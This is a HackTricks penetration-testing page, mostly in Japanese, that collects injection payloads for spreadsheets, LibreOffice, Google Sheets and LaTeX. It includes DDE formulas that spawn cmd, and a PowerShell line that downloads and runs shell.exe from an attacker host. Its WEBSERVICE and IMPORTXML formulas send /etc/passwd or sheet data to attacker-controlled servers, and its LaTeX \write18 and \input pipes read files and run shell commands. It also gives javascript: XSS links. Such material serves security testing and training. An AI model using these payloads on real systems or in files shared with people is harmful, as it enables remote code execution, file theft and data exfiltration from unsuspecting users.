hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

14 KiB
Raw Blame History

Formula/CSV/Doc/LaTeX/GhostScript Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Formula Injection

Info

もしあなたの入力CSVファイル(またはおそらくExcelで開かれる他のファイル)の中に反映されている場合、ユーザーがファイルを開くときや、ユーザーがExcelシート内のリンクをクリックするときに実行されるExcelの数式を入れることができるかもしれません。

{% hint style="danger" %} 現在、Excelは外部から何かが読み込まれたときに(何度も)ユーザーに警告します。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードにはソーシャルエンジニアリングに特別な努力が必要です。 {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを送信するのに非常に便利です。しかし、リンクをクリックする必要があります警告プロンプトを受け入れる必要があります

以下の例は、https://payatu.com/csv-injection-basic-to-exploit から取られました。

学生記録管理システムにおけるセキュリティ侵害がCSVインジェクション攻撃を通じて悪用されることを想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを侵害することです。この方法は、攻撃者がアプリケーションに悪意のあるペイロードを注入することを含み、具体的には学生の詳細用のフィールドに有害な数式を入力します。攻撃は次のように展開されます

  1. 悪意のあるペイロードの注入:
  • 攻撃者は学生詳細フォームを提出しますが、スプレッドシートで一般的に使用される数式(例:=HYPERLINK("<malicious_link>","Click here"))を含めます。
  • この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指しています。
  1. 侵害されたデータのエクスポート:
  • 教師は侵害に気づかず、アプリケーションの機能を使用してデータをCSVファイルにエクスポートします。
  • CSVファイルを開くと、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
  1. 攻撃のトリガー:
  • 教師はハイパーリンクをクリックし、それが学生の詳細の正当な部分であると信じています。
  • クリックすると、機密データ(スプレッドシートや教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
  1. データのログ記録:
  • 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信し、ログに記録します。
  • 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに侵害することができます。

RCE

詳細については、 元の投稿 を確認してください。

特定の構成や古いバージョンのExcelでは、動的データ交換DDEと呼ばれる機能が任意のコマンドを実行するために悪用される可能性があります。これを利用するには、次の設定を有効にする必要があります

  • ファイル → オプション → トラストセンター → トラストセンターの設定 → 外部コンテンツに移動し、動的データ交換サーバーの起動を有効にします。

悪意のあるペイロードを含むスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、計算機アプリケーションを起動するためのペイロードは次のようになります:

=cmd|' /C calc'!xxx

追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calcはローカルファイルを読み取り、データを抽出するために使用できます。以下はいくつかの方法です

  • ローカルの/etc/passwdファイルから最初の行を読み取る:='file:///etc/passwd'#$passwd.A1
  • 読み取ったデータを攻撃者が制御するサーバーに抽出する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 複数行を抽出する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS抽出読み取ったデータを攻撃者が制御するDNSサーバーへのDNSクエリとして送信する=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google SheetsはOOBデータ抽出のために悪用できる関数を提供します

  • CONCATENATE: 文字列を結合します - =CONCATENATE(A2:E2)
  • IMPORTXML: 構造化データタイプからデータをインポートします - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: RSSまたはATOMフィードをインポートします - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: HTMLテーブルまたはリストからデータをインポートします - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: 別のスプレッドシートからセルの範囲をインポートします - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: セルに画像を挿入します - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

通常、インターネット上でLaTeXコードをPDFに変換するサーバーは**pdflatex**を使用します。
このプログラムはコマンド実行を許可するために3つの主な属性を使用します

  • --no-shell-escape: \write18{command}構文を無効にします。texmf.cnfファイルで有効になっていてもです。
  • --shell-restricted: --shell-escapeと同じですが、事前定義された「安全な」コマンドのセットに制限されています(**Ubuntu 16.04ではリストは/usr/share/texmf/web2c/texmf.cnfにあります)。
  • --shell-escape: \write18{command}構文を有効にします。コマンドは任意のシェルコマンドである可能性があります。この構文は通常、セキュリティ上の理由から許可されていません。

ただし、コマンドを実行する他の方法もあるため、RCEを避けるためには--shell-restrictedを使用することが非常に重要です。

Read file

注入を[$のようなラッパーで調整する必要があるかもしれません。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

単一行ファイルを読む

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルを書く

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンド実行

コマンドの入力はstdinにリダイレクトされるので、一時ファイルを使用して取得します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

もしLaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

From @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

チェック https://blog.redteam-pentesting.de/2023/ghostscript-overview/

参考文献

トライハードセキュリティグループ

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}